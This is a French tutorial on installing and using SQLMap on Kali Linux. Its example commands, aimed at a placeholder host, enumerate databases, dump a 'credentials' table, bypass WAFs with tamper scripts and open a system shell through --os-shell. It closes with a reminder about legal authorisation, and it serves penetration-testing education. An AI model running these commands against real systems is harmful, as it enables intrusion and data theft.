Documentation SQLMap sous Kali Linux

Ce document explique comment installer, configurer et utiliser SQLMap depuis Kali Linux pour automatiser la détection et l'exploitation d'injections SQL.

1. Présentation

SQLMap est un outil open-source écrit en Python, spécialisé dans l'automatisation des tests d'injection SQL sur des applications web. Il supporte de nombreux moteurs de bases de données (MySQL, PostgreSQL, MSSQL, Oracle, SQLite, etc.) et propose :

- Détection automatique des injections (boolean-based, error-based, time-based, etc.)
- Extraction de données (tables, colonnes, enregistrements)
- Exécution de commandes système sur la base vulnérable
- Support des proxys, fichiers de cookies, user-agents personnalisés

2. Prérequis

- Kali Linux à jour (Rolling Release).
- Python3 et pip installés (inclus par défaut).
- Accès root ou sudo pour certaines fonctionnalités (tampering, installation de modules complémentaires).

3. Installation

3.1. Pré-installé sur Kali

Kali Linux inclut SQLMap par défaut. Vérifiez la présence :

```
which sqlmap
```

ou

```
sqlmap --version
```

3.2. Installation manuelle ou mise à jour

Pour cloner la dernière version depuis GitHub :

```
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
```

```
cd sqlmap-dev
```

```
chmod +x sqlmap.py
```

```
sudo ln -s "$(pwd)/sqlmap.py" /usr/local/bin/sqlmap
```

Ensuite :

```
sqlmap --version
```

4. Premiers pas

Lancer SQLMap contre une URL cible :

```
sqlmap -u "http://target.com/page.php?id=1"
```

SQLMap va analyser le paramètre id et détecter automatiquement le type d'injection.

5. Options courantes

<i>Option</i>	<i>Description</i>
<code>-u URL</code>	<i>URL cible à tester</i>
<code>--data="param=va l"</code>	<i>Corps POST à tester</i>
<code>-p PARAM</code>	<i>Paramètre spécifique à tester (ex. <code>-p id</code>)</i>
<code>--dbs</code>	<i>Lister les bases de données</i>
<code>--tables -D DBNAME</code>	<i>Lister les tables d'une base</i>
<code>--columns -D DB -T T</code>	<i>Lister les colonnes d'une table</i>
<code>--dump -D DB -T T</code>	<i>Extraire toutes les données d'une table</i>
<code>--batch</code>	<i>Répondre automatiquement Yes à toutes les questions</i>
<code>--threads=N</code>	<i>Nombre de threads pour l'extraction</i>

```
--proxy=http://. Passer par un proxy  
..
```

6. Exemples d'utilisation

6.1. Lister les bases de données

```
sqlmap -u "http://target.com/page.php?id=1" --dbs
```

6.2. Extraire une table

```
sqlmap -u "http://target.com/page.php?id=1" -D users_db --tables
```

```
sqlmap -u "http://target.com/page.php?id=1" -D users_db -T credentials --dump
```

6.3. Injection via POST

```
sqlmap -u "http://target.com/login.php" --data="username=admin&password=admin"  
--dbs
```

6.4. Utiliser un fichier de cookies

```
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=..." --dbs
```

7. Options avancées

- Tampering scripts : `--tamper=space2comment,between` pour bypasser WAF/API.
- Fichiers de sortie : `-o OUTPUTFILE` pour stocker les résultats.
- OS Shell : `--os-shell` pour ouvrir une shell système sur la base vulnérable.
- Metadonnées : `--banner`, `--current-user`, `--privileges`.

8. Conseils et bonnes pratiques

- Toujours utiliser l'option `--batch` dans des scripts ou automatisations.
- Limiter les threads (`--threads`) si la cible est instable.
- Enregistrer les tests dans un rapport (utiliser `-o`).
- Respecter la légalité : ne tester que des systèmes dont vous avez l'autorisation.